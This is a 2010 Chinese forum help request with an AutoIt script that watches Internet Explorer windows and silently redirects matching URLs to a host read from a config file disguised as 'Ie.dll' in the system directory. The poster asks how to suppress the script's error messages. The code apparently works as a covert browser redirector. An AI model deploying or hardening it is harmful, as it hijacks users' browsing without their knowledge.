本帖最后由 angelink 于 2010-8-28 21:35 编辑
如果代码执行过程中出错了,如何让其不提示?自动结束或重新运行程序?#include <_Ini.au3>
While 1
Sleep(400)
$URL1 = _IniRead(@SystemDir & "\Ie.dll", "URL", "1", "")
$Http1 = _IniRead(@SystemDir & "\Ie.dll", "Http", "1", "")
$oShell = ObjCreate('shell.application')
$oShellWindows = $oShell.windows
For $Window In $oShellWindows
If StringRight($Window.FullName, 12) = 'iexplore.exe' Then
If StringInStr($Window.locationurl, $URL1, 2) Then $Window.navigate("http://" & $Http1)
EndIf
Next
_ReduceMemory(@AutoItPID);将此行加入到循环中
WEnd
Func _ReduceMemory($i_PID = -1);整理内存
If $i_PID <> -1 Then
Local $ai_Handle = DllCall("kernel32.dll", 'int', 'OpenProcess', 'int', 0x1f0fff, 'int', False, 'int', $i_PID)
Local $ai_Return = DllCall("psapi.dll", 'int', 'EmptyWorkingSet', 'long', $ai_Handle[0])
DllCall('kernel32.dll', 'int', 'CloseHandle', 'int', $ai_Handle[0])
Else
Local $ai_Return = DllCall("psapi.dll", 'int', 'EmptyWorkingSet', 'long', -1)
EndIf
Return $ai_Return[0]
EndFunc ;==>_ReduceMemory
生成exe后运行时,如果打开IE还没有等它跳转就关闭IE,就会报对像错误,如果取消这个呢?
在加张图片。 |